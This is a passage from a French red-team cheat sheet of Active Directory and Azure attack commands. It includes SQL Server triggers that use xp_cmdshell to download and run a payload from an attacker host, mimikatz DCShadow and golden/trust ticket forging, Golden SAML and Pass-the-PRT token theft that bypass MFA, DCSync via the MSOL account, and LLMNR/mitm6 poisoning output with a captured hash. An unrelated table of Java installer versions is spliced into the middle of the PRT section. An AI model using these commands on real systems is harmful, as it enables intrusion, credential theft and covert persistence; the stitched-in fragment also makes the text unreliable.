[+] Listening for events...
[*] [LLMNR]  Poisoned answer sent to 10.10.14.33 for name doesnotexist
[MSSQL-BROWSER] Sending poisoned browser response to 10.10.14.33
[*] [LLMNR]  Poisoned answer sent to 10.10.14.33 for name doesnotexist
[*] [LLMNR]  Poisoned answer sent to 10.10.14.33 for name doesnotexist
[MSSQL] NTLMv2 Client   : 10.1.2.3
[MSSQL] NTLMv2 Username : TEST\Administrator
[MSSQL] NTLMv2 Hash     : Administrator::TEST:1122334455667788...
```
### DML, DDL and Logon Triggers

[ ❓ ] : **Triggers** sont une procédure stockée qui s'exécute automatiquement lorsqu'un événement se produit dans SQL Server.

- Data Definition Language (DDL) – S'exécute sur les instructions Create, Alter et Drop et certaines procédures stockées système.
- Data Manipulation Language (DML) – S'exécute sur les instructions Insert, Update et Delete.
- Logon Triggers – S'exécute lors de la connexion d'un utilisateur.

**Liste des triggers**

*lister tous les triggers*```sql
SELECT * FROM sys.server_triggers
```
*lister les déclencheurs pour une base de données*```sql
SELECT * FROM sys.server_triggers
```
*Lister les déclencheurs DDL et DML sur une instance en utilisant powershell*```powershell
Get-SQLTriggerDdl -Instance ops-sqlsrvone -username $username -Password $password -Verbose
Get-SQLTriggerDml -Instance ops-sqlsrvone -username $username -Password $password -Verbose
```
*utiliser DML triggers pour persistance*```sql
USE master
GRANT IMPERSONATE ON LOGIN::sa to [Public];
USE testdb
CREATE TRIGGER [persistence_dml_1]
ON testdb.dbo.datatable
FOR INSERT, UPDATE, DELETE AS
EXECUTE AS LOGIN = 'as'
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString('http://$ip_attacker/payload.ps1')"'
GO
```
*utiliser les déclencheurs DDL pour la persistance*```sql
CREATE Trigger [persistence_ddl_1]
ON ALL Server
FOR DDL_LOGIN_EVENTS
AS
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString('http://$ip_attacker/payload.ps1')"
GO
```
*utiliser les Logon triggers pour la persistance*```sql
CREATE Trigger [persistence_logon_1]
ON ALL SERVER WITH EXECUTE AS 'sa'
FOR LOGON
AS
BEGIN
IF ORIGINAL_LOGIN() = 'testuser'
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString('http://$ip_attacker/payload.ps1')"
END;
```
## Persistance de la Forêt

### DCShadow

**DCShadow enregistre temporairement un nouveau contrôleur de domaine dans le domaine cible** et l'utilise pour « pousser » des attributs comme SIDHistory, SPNs... sur des objets spécifiés sans laisser les journaux de modifications pour l'objet modifié !

*⚠️ Prérequis :*
- Des privilèges DA sont nécessaires pour utiliser DCShadow.
- La machine de l'attaquant doit faire partie du domaine racine.

L'attaque nécessite 2 instances sur une machine compromise :

**1 instance :** *démarre les serveurs RPC avec des privilèges SYSTEM et spécifie les attributs à modifier*```c
mimikatz # !+
mimikatz # !processtoken
mimikatz # lsadump::dcshadow /object:root1user /attribute:Description /value="Hello from DCShadow"
```
**2 instance :** *avec des privilèges suffisants de DA pour pousser les valeurs :*```c
mimikatz # sekurlsa::pth /user:Administrator /domain:$domain /ntlm:$admin_hash /impersonate
mimikatz # lsadump::dcshadow /push
```
## Attaques inter-forêts

### Tickets de confiance

*Extraction de Trust Key*```powershell
Invoke-Mimikatz -Command '"lsadump::trust /patch"'
```
*Forger IR-TGT à l'aide de la clé de confiance*```powershell
Invoke-Mimikatz -Command '"Kerberos::golden /domain:$domain /sid:$sid /sids:$extra_sids /rc4:$rc4_hash /user:Administrator /service:krbtgt /target:$target /ticket:$path/to/trust_ticket.kirbi"'
```
*Obtenir le TGS pour le service CIFS*```powershell
asktgs path/to/trust_ticket.kirbi CIFS/ps-dc.powershell.local
```
*utiliser TGS pour le service CIFS*```powershell
kirbikator.exe lsa .\CIFS.$domain.kirbi ls \\$domain\`c$
```
### Utilisation du hash KRBTGT```powershell
Invoke-Mimikatz -Command '"lsadump::lsa /patch"'
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:domaine.fun.local /sid:S-1-5-x-x-x-x /sids:S-1-5-x-x-x-x-519 /krbtgt:<hash> /ticket:C:\path\krb_tgt.kirbi"'

Invoke-Mimikatz -Command '"kerberos::ptt C:\path\krb_tgt.kirbi
```
## Azure Active Directory

### AZ User Enumeration

*connexion à Azure Active Directory avec **Connect-MsolService**.*```powershell
PS> Connect-MsolService -Credential $cred
```
*cette commande permet l'énumération avec MFA (MultiFactor Authentification)*```powershell
Get-MsolUser -EnabledFilter EnabledOnly -MaxResults 50000 | select DisplayName,UserPrincipalName,@{N="MFA Status"; E={ if( $_.StrongAuthenticationRequirements.State -ne $null){ $_. StrongAuthenticationRequirements.State} else { "Disabled"}}} | export-csv mfaresults.csv
```
*Localiser Azure AD Connect Server*```powershell
ldapsearch -H ldap://DC01.MEGACORP.CORP:389 -D "MEGACORP\john" -w $password -b "DC=MEGACORP,DC=CORP" '(description=*Azure*)' description
```
### Énumération avec AZ CLI

**Énumération du stockage**

*Énumération du stockage blob*```powershell
az storage account list -o table
az storage account list -o json | jq -r '.[].name'
```
### PowerZure

*créer un nouvel utilisateur*```powershell
New-AzureUser -Username '[email protected]' -Password catAker
```
*Exécute une commande sur une VM spécifiée*```powershell
Execute-Command -OS Windows -VM Win10 -ResourceGroup rg01 -Command "whoami"
```
### Golden SAML

*⚠️ Prérequis :*
- Privilèges administrateur du serveur ADFS
- `ADFS Public Certificate`
- `IdP Name`
- `Role Name`

> Obtenir `ADFS Public Certificate`:```powershell
PS > [System.Convert]::ToBase64String($cer.rawdata)
```
> Obtenir `IdP Name` :```powershell
PS > (Get-ADFSProperties).Identifier.AbsoluteUri
```
> Obtenez `Role Name`:```powershell
PS > (Get-ADFSRelyingPartyTrust).IssuanceTransformRule
```
un kit pour exploiter Golden SAML peut être trouvé [here](https://github.com/secureworks/whiskeysamlandfriends)

> ** Golden SAML est similaire au golden ticket et affecte le protocole Kerberos. Comme le Golden Ticket, le Golden SAML permet à un attaquant d'accéder à des ressources protégées par des agents SAML (exemples : Azure, AWS, vSphere, Okta, Salesforce, ...) avec des privilèges élevés via un golden ticket.**

*ShockNAwe:*
- 1. Extrait à distance les paramètres de configuration AD FS
- 2. Forge et signe un jeton Golden SAML
- 3. Extrait la partie ‘assertion’ du jeton Golden SAML et la transmet à l'API Azure Core Management pour obtenir un jeton d'accès valide pour l'API
- 4. Énumère l'ID d'abonnement
- 5. Énumère la liste complète des machines virtuelles dans l'abonnement
- 6. Exécute des commandes arbitraires sur toutes les machines virtuelles en tant que SYSTEM/root

*WhiskeySAML:*
- 1. Extraire à distance les paramètres de configuration AD FS
- 2. Forger et signer des jetons Golden SAML
- 3. Passer le jeton Golden SAML au portail Microsoft Azure
- 4. Se connecter au portail Azure en tant qu'utilisateur tout en contournant les configurations Azure MFA```bash
python3 shocknawe.py --target-user $user --domain $domain --adfs-host=$adfs_server --dc-ip $ip
```
### Manipulation du PRT

#### PassThePRT

*Vérifier l'état AzureAdJoined et télécharger Mimikatz:*```powershell
dsregcmd.exe /status
iex (New-Object Net.Webclient).downloadstring(“https://server/Invoke-Mimikatz.ps1”)
```
*À la recherche de **prt** et **KeyValue**:*```c
mimikatz # privilege::debug
mimikatz # sekurlsa::cloudap
```
*utiliser la fonction **APKD** pour décoder **KeyValue** et sauvegarder les valeurs **"Context"** et **"DerivedKey"** :*```c
mimikatz # token::elevate
mimikatz # dpapi::cloudapkd /keyvalue:$KeyValue /unprotect
```
| oracle-jdk8-installer                                                   | 8u131-1~webupd8~2       |
| oracle-java8-installer                                                  | 8u131-1~webupd8~2       |
| oracle-java9-installer                                                  | 9.0.4-1~webupd8~0       |
| oracle-java10-installer                                                 | 10.0.2+13-1~webupd8~0   |```c
mimikatz # dpapi::cloudapkd /context:$context /derivedkey:$DerivedKey /Prt:$prt

---SNIP---
Signed JWT : eyJ...
```
Forgez le cookie PRT-Cookie en utilisant [lantern](https://github.com/ConstantinT/Lantern):```powershell
Lantern.exe cookie --derivedkey <Key from Mimikatz> --context <Context from Mimikatz> --prt <PRT from Mimikatz>
Lantern.exe cookie --sessionkey <SessionKey> --prt <PRT from Mimikatz>
```
*Générer JWT*```powershell
PS AADInternals> $PRT_OF_USER = '...'
PS AADInternals> while($PRT_OF_USER.Length % 4) {$PRT_OF_USER += "="}
PS AADInternals> $PRT = [text.encoding]::UTF8.GetString([convert]::FromBase64String($PRT_OF_USER))
PS AADInternals> $ClearKey = "XXYYZZ..."
PS AADInternals> $SKey = [convert]::ToBase64String( [byte[]] ($ClearKey -replace '..', '0x$&,' -split ',' -ne ''))
PS AADInternals> New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey –GetNonce
```
### Compte de service MSOL

> vous pouvez vider le compte de service MSOL avec [azuread_decrypt_msol.ps1](https://gist.github.com/xpn/f12b145dba16c2eebdd1c6829267b90c) utilisé par Azure AD Connect Sync et lancer une attaque DCsync avec les identifiants récupérés

*DCSync avec le compte MSOL*```powershell
secretsdump -outputfile hashes $domain/$msol_svc_acc:$msol_pwd@$ip
```
## Miscs

### Attribut de niveau de domaine

#### Exploitation de MachineAccountQuota (MAQ)

utiliser crackmapexec (CME) avec le module maq :

`cme ldap $dc -d $DOMAIN -u $USER -p $PASSWORD -M maq`

#### BadPwdCount```python
crackmapexec ldap 10.10.13.100 -u $user -p $pwd --kdcHost 10.10.13.100 --users
LDAP        10.10.13.100       389    dc1       Guest      badpwdcount: 0 pwdLastSet: <never>
```
### Abus d'IPv6 dans l'AD

envoi d'un paquet ICMPv6 vers la cible en utilisant ping6 :

`ping6 -c 3 <target>`

scan d'adresse IPv6 avec nmap :

`nmap -6 -sCV dead:beef:0000:0000:b885:d62a:d679:573f --max-retries=2 --min-rate=3000 -Pn -T3`



conseils pour adapter les outils à IPv6 :```bash
echo -n "port1" "port2" "port3" | xargs -d ' ' -I% bash -c 'socat TCP4-LISTEN:%,fork TCP6:[{ipv6-address-here}]:% &'
netstat -laputen |grep LISTEN
```
vous pouvez remplacer la valeur AF_INET par AF_INET6 depuis la bibliothèque socket Python :```bash
sed -i "s/AF_INET/AF_INET6/g" script.py
```
#### DHCP malveillant

`mitm6 -i eth0 -d 'domain.job.local'`


#### Énumération d'interface IOXIDResolver

c'est un petit script qui énumère les adresses dans le champ NetworkAddr avec le niveau [**RPC_C_AUTHN_DCE_PUBLIC**](https://docs.microsoft.com/en-us/windows/win32/rpc/authentication-service-constants)```py
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.dcomrt import IObjectExporter

RPC_C_AUTHN_DCE_PUBLIC  = 2

stringBinding = r'ncacn_ip_tcp:%s' % "IP"
rpctransport = transport.DCERPCTransportFactory(stringBinding)
rpc = rpctransport.get_dce_rpc()
rpc.set_auth_level(RPC_C_AUTHN_DCE_PUBLIC)
rpc.connect()
print("[*] Try with RPC_C_AUTHN_DCE_PUBLIC...")
exporter = IObjectExporter(rpc)
binding = exporter.ServerAlive2()
for bind in binding:
    adr = bind['aNetworkAddr']
    print("Adresse:", adr)
```
## Références

- https://tools.thehacker.recipes/mimikatz/modules/sekurlsa/cloudap
- https://blog.netspi.com/maintaining-persistence-via-sql-server-part-2-triggers/
- https://www.thehacker.recipes/ad/movement/kerberos/asreproast
- https://www.hackingarticles.in/credential-dumping-ntds-dit/
- https://blog.alsid.eu/dcshadow-explained-4510f52fc19d
- https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet
- https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys
- https://derkvanderwoude.medium.com/pass-the-prt-attack-and-detection-by-microsoft-defender-for-afd7dbe83c94
- https://github.com/rootsecdev/Azure-Red-Team
- https://www.secureworks.com/blog/going-for-the-gold-penetration-testing-tools-exploit-golden-saml

Awesome-RedTeam-Cheatsheet

Populaires